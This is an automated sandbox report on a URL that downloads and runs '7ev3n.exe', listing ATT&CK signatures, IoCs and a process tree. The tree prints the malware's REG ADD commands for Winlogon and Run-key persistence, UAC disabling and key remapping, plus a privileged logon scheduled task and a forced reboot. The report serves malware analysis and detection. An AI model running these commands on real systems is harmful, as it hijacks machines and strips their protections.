hxxp://Youareanidiot[.]cc

Resubmissions

31-03-2024 14:38

240331-rzx63sdf2v 10

31-03-2024 14:35

31-03-2024 14:31

31-03-2024 14:27

31-03-2024 14:14

Analysis

max time kernel
138s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
31-03-2024 14:35

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

http://Youareanidiot.cc

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

7ev3n.exesystem.exe

pid process

4156 7ev3n.exe
3168 system.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

pid	process
4156	7ev3n.exe
3168	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

113 raw.githubusercontent.com
114 raw.githubusercontent.com
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

2088 SCHTASKS.exe

flow	ioc
113	raw.githubusercontent.com
114	raw.githubusercontent.com

pid	process
2088	SCHTASKS.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "125"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-399997616-3400990511-967324271-1000\{0F94AC7E-1138-445D-B6D4-CBD87EFA0BD5}	msedge.exe

NTFS ADS 2 IoCs

Processes:

msedge.exe7ev3n.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 306821.crdownload:SmartScreen	msedge.exe
File created	C:\Users\Admin\AppData\Local\system.exe\:SmartScreen:$DATA	7ev3n.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exe

pid	process
2400	msedge.exe
2400	msedge.exe
752	msedge.exe
752	msedge.exe
432	identity_helper.exe
432	identity_helper.exe
2984	msedge.exe
2984	msedge.exe
3288	msedge.exe
3288	msedge.exe
3084	msedge.exe
3084	msedge.exe
3084	msedge.exe
3084	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

Processes:

msedge.exe

pid	process
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

shutdown.exe

description pid process

Token: SeShutdownPrivilege 2892 shutdown.exe
Token: SeRemoteShutdownPrivilege 2892 shutdown.exe

description	pid	process
Token: SeShutdownPrivilege	2892	shutdown.exe
Token: SeRemoteShutdownPrivilege	2892	shutdown.exe

Suspicious use of FindShellTrayWindow 35 IoCs

Processes:

msedge.exe

pid	process
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe
752	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

LogonUI.exe

pid process

704 LogonUI.exe

pid	process
704	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 752 wrote to memory of 2528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 2528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 4692	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 2400	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 2400	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe
PID 752 wrote to memory of 1528	752	msedge.exe	msedge.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://Youareanidiot.cc
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:752

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd385346f8,0x7ffd38534708,0x7ffd38534718
2⤵
PID:2528

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1792 /prefetch:2
2⤵
PID:4692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2844 /prefetch:8
2⤵
PID:1528

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
2⤵
PID:4460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
2⤵
PID:4632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4640 /prefetch:1
2⤵
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
2⤵
PID:5020

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
2⤵
PID:4508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:1
2⤵
PID:4596

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4844 /prefetch:1
2⤵
PID:4872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
2⤵
PID:4036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3840 /prefetch:1
2⤵
PID:948

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5852 /prefetch:1
2⤵
PID:1316

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
2⤵
PID:4404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:1
2⤵
PID:3440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
2⤵
PID:3300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5884 /prefetch:8
2⤵
PID:4960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5804 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2984

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:1
2⤵
PID:5092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
2⤵
PID:948

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
2⤵
PID:1624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3428 /prefetch:8
2⤵
PID:2912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6056 /prefetch:1
2⤵
PID:3996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6600 /prefetch:8
2⤵
PID:3264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2080,204010962262585163,1603646026701229690,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6848 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3288

C:\Users\Admin\Downloads\7ev3n.exe
"C:\Users\Admin\Downloads\7ev3n.exe"
2⤵
- Executes dropped EXE
- NTFS ADS
PID:4156

C:\Users\Admin\AppData\Local\system.exe
"C:\Users\Admin\AppData\Local\system.exe"
3⤵
- Executes dropped EXE
PID:3168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
4⤵
PID:3500

C:\Windows\SysWOW64\SCHTASKS.exe
C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:2088

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
PID:4420

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
5⤵
- Modifies WinLogon for persistence
PID:2248

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
PID:3592

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
5⤵
- Adds Run key to start application
PID:2900

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
4⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
5⤵
PID:3264

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
4⤵
PID:1804

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
5⤵
PID:1696

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:652

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
5⤵
PID:3184

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
4⤵
PID:2092

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
5⤵
- UAC bypass
PID:1640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:2992

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
5⤵
PID:1688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
4⤵
PID:1856

C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 10 -f
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2892

